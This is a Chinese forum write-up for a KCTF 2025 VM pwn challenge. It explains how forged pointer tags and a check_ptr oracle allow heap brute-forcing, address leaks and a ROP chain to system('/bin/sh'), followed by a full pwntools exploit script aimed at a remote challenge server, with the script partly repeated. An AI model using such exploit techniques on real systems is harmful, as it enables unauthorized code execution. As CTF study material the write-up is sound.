首页
社区
课程
招聘
[原创] KCTF 2025 第八题 wp
发表于: 2025-8-30 11:23 2703

[原创] KCTF 2025 第八题 wp

2025-8-30 11:23
2703

题目是个简单的 vm pwn ,逻辑比较简单。运算时64位的最高位用来判断是否是指针,两个寄存器做运算时不判断结果的数值是否设置指针位,于是可以通过寄存器运算构造任意指针值,直接就有任意读写。但是题目中没有一个直接可用的地址。check_ptr函数中:

会判断传入的指针值是否在 memory 范围或者 stack 范围,如果不在就会重置为 memory 。 memory 是 mmap 出来的固定的地址,没用, stack 是 malloc 分配出来的,堆地址,那么可以通过此函数爆破堆地址,即检查 check_ptr 前后的指针值是否一致,一致就说明找到堆地址了。之后就从堆上读 vm.codes 拿到 ld 地址,再读 _dl_argv 得到栈地址,读栈得到 libc 地址,写 rop getshell 。

unsigned __int64 __fastcall check_ptr(__int64 ptr)
{
  unsigned __int64 result; // rax
 
  if ( ptr - (unsigned __int64)vm->memory <= 0xFF8 || ptr - (unsigned __int64)vm->stack <= 0x7F8 )
    result = ptr | 0x8000000000000000LL;
  else
    result = (unsigned __int64)vm->memory | 0x8000000000000000LL;
  return result;
}
unsigned __int64 __fastcall check_ptr(__int64 ptr)
{
  unsigned __int64 result; // rax
 
  if ( ptr - (unsigned __int64)vm->memory <= 0xFF8 || ptr - (unsigned __int64)vm->stack <= 0x7F8 )
    result = ptr | 0x8000000000000000LL;
  else
    result = (unsigned __int64)vm->memory | 0x8000000000000000LL;
  return result;
}
#!/usr/bin/env python3
 
from pwn import *
 
def make_ins(opcode, /, dst_reg=0, src_reg=0, imm4=0):
    return bytes([opcode, dst_reg, src_reg, 0]) + imm4.to_bytes(4, 'little')
 
def is_reg_index(reg_index):
    return reg_index >= 0 and reg_index < 8
 
def is_imm4(value):
    return value >= 0 and value < 1<<32
 
def push_reg(reg_index):
    assert is_reg_index(reg_index)
    return make_ins(0, src_reg=reg_index)
 
def push_imm4(value):
    assert is_imm4(value)
    return make_ins(1, imm4=value)
 
def push_ptr(value):
    assert is_imm4(value)
    return make_ins(2, imm4=value)
 
def pop_reg(reg_index):
    assert is_reg_index(reg_index)
    return make_ins(3, dst_reg=reg_index)
 
def op_reg(op, dst_reg_index, src_reg_index):
    assert is_reg_index(dst_reg_index)
    assert is_reg_index(src_reg_index)
    return make_ins(op, dst_reg=dst_reg_index, src_reg=src_reg_index)
 
def op_imm4(op, reg_index, value):
    assert is_reg_index(reg_index)
    assert is_imm4(value)
    return make_ins(op, dst_reg=reg_index, imm4=value)
 
def mov_reg(dst_reg_index, src_reg_index):
    return op_reg(4, dst_reg_index, src_reg_index)
 
def mov_imm4(reg_index, value):
    return op_imm4(5, reg_index, value)
 
def add_reg(dst_reg_index, src_reg_index):
    return op_reg(6, dst_reg_index, src_reg_index)
 
def add_imm4(reg_index, value):
    return op_imm4(7, reg_index, value)
 
def sub_reg(dst_reg_index, src_reg_index):
    return op_reg(8, dst_reg_index, src_reg_index)
 
def sub_imm4(reg_index, value):
    return op_imm4(9, reg_index, value)
 
def mul_reg(dst_reg_index, src_reg_index):
    return op_reg(10, dst_reg_index, src_reg_index)
 
def mul_imm4(reg_index, value):
    return op_imm4(11, reg_index, value)
 
def div_reg(dst_reg_index, src_reg_index):
    return op_reg(12, dst_reg_index, src_reg_index)
 
def div_imm4(reg_index, value):
    return op_imm4(13, reg_index, value)
 
def and_reg(dst_reg_index, src_reg_index):
    return op_reg(14, dst_reg_index, src_reg_index)
 
def and_imm4(reg_index, value):
    return op_imm4(15, reg_index, value)
 
def or_reg(dst_reg_index, src_reg_index):
    return op_reg(16, dst_reg_index, src_reg_index)
 
def or_imm4(reg_index, value):
    return op_imm4(17, reg_index, value)
 
def xor_reg(dst_reg_index, src_reg_index):
    return op_reg(18, dst_reg_index, src_reg_index)
 
def xor_imm4(reg_index, value):
    return op_imm4(19, reg_index, value)
 
def ldr_reg(dst_reg_index, ptr_reg_index):
    return op_reg(20, dst_reg_index, ptr_reg_index)
 
def str_reg(ptr_reg_index, src_reg_index):
    return op_reg(21, ptr_reg_index, src_reg_index)
 
def init_code():
    # r7 = 1<<32
    # r6 = (1<<63) - 1
    # r5 = 1<<63
    return b''.join([
        mov_imm4(7, 0x10000),
        mul_reg(7, 7), # r7 = 1<<32
        mov_reg(6, 7), # r6 = r7
        mul_imm4(6, 0x7fffffff),
        add_imm4(6, 0xffffffff), # r1 = (1<<63) - 1
        mov_reg(5, 7), # r5 = r7
        mov_imm4(4, 0x80000000),
        mul_reg(5, 4), # r5 = 1<<63
    ])
 
def mov_imm8(reg_index, value):
    assert is_reg_index(reg_index)
    assert reg_index < 5
    assert is_imm4(value >> 32)
    if value < 1<<32: return mov_imm4(reg_index, value)
    assert value < 1<<63
    return b''.join([
        mov_reg(reg_index, 7),
        mul_imm4(reg_index, value >> 32),
        add_imm4(reg_index, value & 0xffffffff),
    ])
 
def clear_ptr_tag(reg_index):
    assert is_reg_index(reg_index)
    assert reg_index < 5
    return xor_reg(reg_index, 5)
 
def set_ptr_tag(reg_index):
    assert is_reg_index(reg_index)
    assert reg_index < 5
    return add_imm4(reg_index, 1) + add_reg(reg_index, 6)
 
import sys
LOCAL = len(sys.argv) == 1
 
if LOCAL:
    p = process('./pwn')
else:
    p = remote('123.57.66.184', 10011)
 
codes = init_code()
# r7 = 1<<32
# r6 = (1<<63) - 1
# r5 = 1<<63
 
# codes += make_ins(24, dst_reg=0, src_reg=0, imm4=-1 & 0xffffffff) # jmp $
 
# mov_imm8(3, 0x555555555320 + 0x1000 * 0x1000000), # 1s: 3s
 
codes += b''.join([
    mov_imm8(4, 0x555555555320),
    mov_imm8(3, 0x555555555320 + 0x1000 * 0x100000000),
    str_reg(4, 4), # output0: can't store data, loop started
])
 
codes += b''.join([
    add_imm4(4, 0x1000),
    mov_reg(0, 4),
    or_reg(0, 5), # trigger address check
    clear_ptr_tag(0),
    make_ins(24, dst_reg=0, src_reg=4, imm4=3), # jmp $+4 if r0 == r4
    make_ins(24, dst_reg=3, src_reg=4, imm4=1), # jmp $+2 if r3 == r4
    make_ins(24, dst_reg=0, src_reg=0, imm4=-7 & 0xffffffff), # jmp $-6
    make_ins(0xff), # output1: ill inst, not in this range
    str_reg(4, 4), # output1: can't store data, vm.stack FOUND
])
 
# r4 = vm.stack
codes += b''.join([
    sub_imm4(4, 0x68),
    set_ptr_tag(4),
    ldr_reg(4, 4), # r4 = vm.codes
    add_imm4(4, 0x2ac0),
    set_ptr_tag(4),
    ldr_reg(4, 4), # r4 = stack
    str_reg(4, 4), # output2: can't store data, stack = [_dl_argv] ok
    mov_reg(3, 6),
    sub_imm4(3, 0xf), # r3 = (1<<63) - 0x10
    and_reg(4, 3), # r4 = stack & ~0xf
    sub_imm4(4, 0x108), # r4 = &ret_addr
    mov_reg(3, 4),
    set_ptr_tag(3),
    ldr_reg(3, 3),
    str_reg(4, 4), # output3: can't store data, libc_ret = [stack] ok
    sub_imm4(3, 0x29d90), # r3 = libc_base
])
 
pop_rdi_ret = 0x2a3e5
system = 0x50d70
binsh = 0x1d8678
# r3 = libc_base
# r4 = &ret_addr
codes += b''.join([
    mov_reg(0, 4),
    set_ptr_tag(0),
    mov_reg(1, 3),
    add_imm4(1, pop_rdi_ret + 1),
    str_reg(0, 1), # ret
 
    add_imm4(4, 0x8),
    mov_reg(0, 4),
    set_ptr_tag(0),
    mov_reg(1, 3),
    add_imm4(1, pop_rdi_ret),
    str_reg(0, 1),
 
    add_imm4(4, 0x8),
    mov_reg(0, 4),
    set_ptr_tag(0),
    mov_reg(1, 3),
    add_imm4(1, binsh),
    str_reg(0, 1),
 
    add_imm4(4, 0x8),
    mov_reg(0, 4),
    set_ptr_tag(0),
    mov_reg(1, 3),
    add_imm4(1, system),
    str_reg(0, 1),
])
 
# '''
 
codes += make_ins(25) #  stop
 
if LOCAL:
    # input()
    pass
 
assert len(codes) < 1000 # avoid mtu
 
p.send(codes)
p.interactive()
#!/usr/bin/env python3
 
from pwn import *
 
def make_ins(opcode, /, dst_reg=0, src_reg=0, imm4=0):
    return bytes([opcode, dst_reg, src_reg, 0]) + imm4.to_bytes(4, 'little')
 
def is_reg_index(reg_index):
    return reg_index >= 0 and reg_index < 8
 
def is_imm4(value):
    return value >= 0 and value < 1<<32
 
def push_reg(reg_index):
    assert is_reg_index(reg_index)
    return make_ins(0, src_reg=reg_index)
 
def push_imm4(value):
    assert is_imm4(value)
    return make_ins(1, imm4=value)
 
def push_ptr(value):
    assert is_imm4(value)
    return make_ins(2, imm4=value)
 
def pop_reg(reg_index):
    assert is_reg_index(reg_index)
    return make_ins(3, dst_reg=reg_index)
 
def op_reg(op, dst_reg_index, src_reg_index):
    assert is_reg_index(dst_reg_index)
    assert is_reg_index(src_reg_index)
    return make_ins(op, dst_reg=dst_reg_index, src_reg=src_reg_index)
 
def op_imm4(op, reg_index, value):
    assert is_reg_index(reg_index)
    assert is_imm4(value)
    return make_ins(op, dst_reg=reg_index, imm4=value)
 
def mov_reg(dst_reg_index, src_reg_index):
    return op_reg(4, dst_reg_index, src_reg_index)
 
def mov_imm4(reg_index, value):
    return op_imm4(5, reg_index, value)
 
def add_reg(dst_reg_index, src_reg_index):
    return op_reg(6, dst_reg_index, src_reg_index)
 
def add_imm4(reg_index, value):
    return op_imm4(7, reg_index, value)
 
def sub_reg(dst_reg_index, src_reg_index):
    return op_reg(8, dst_reg_index, src_reg_index)
 
def sub_imm4(reg_index, value):
    return op_imm4(9, reg_index, value)
 
def mul_reg(dst_reg_index, src_reg_index):
    return op_reg(10, dst_reg_index, src_reg_index)
 
def mul_imm4(reg_index, value):
    return op_imm4(11, reg_index, value)
 
def div_reg(dst_reg_index, src_reg_index):
    return op_reg(12, dst_reg_index, src_reg_index)
 
def div_imm4(reg_index, value):
    return op_imm4(13, reg_index, value)
 
def and_reg(dst_reg_index, src_reg_index):
    return op_reg(14, dst_reg_index, src_reg_index)
 
def and_imm4(reg_index, value):
    return op_imm4(15, reg_index, value)
 
def or_reg(dst_reg_index, src_reg_index):
    return op_reg(16, dst_reg_index, src_reg_index)
 
def or_imm4(reg_index, value):
    return op_imm4(17, reg_index, value)
 
def xor_reg(dst_reg_index, src_reg_index):
    return op_reg(18, dst_reg_index, src_reg_index)
 
def xor_imm4(reg_index, value):
    return op_imm4(19, reg_index, value)
 
def ldr_reg(dst_reg_index, ptr_reg_index):
    return op_reg(20, dst_reg_index, ptr_reg_index)
 
def str_reg(ptr_reg_index, src_reg_index):
    return op_reg(21, ptr_reg_index, src_reg_index)
 
def init_code():
    # r7 = 1<<32
    # r6 = (1<<63) - 1
    # r5 = 1<<63
    return b''.join([
        mov_imm4(7, 0x10000),
        mul_reg(7, 7), # r7 = 1<<32
        mov_reg(6, 7), # r6 = r7
        mul_imm4(6, 0x7fffffff),
        add_imm4(6, 0xffffffff), # r1 = (1<<63) - 1
        mov_reg(5, 7), # r5 = r7
        mov_imm4(4, 0x80000000),
        mul_reg(5, 4), # r5 = 1<<63
    ])
 
def mov_imm8(reg_index, value):
    assert is_reg_index(reg_index)

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回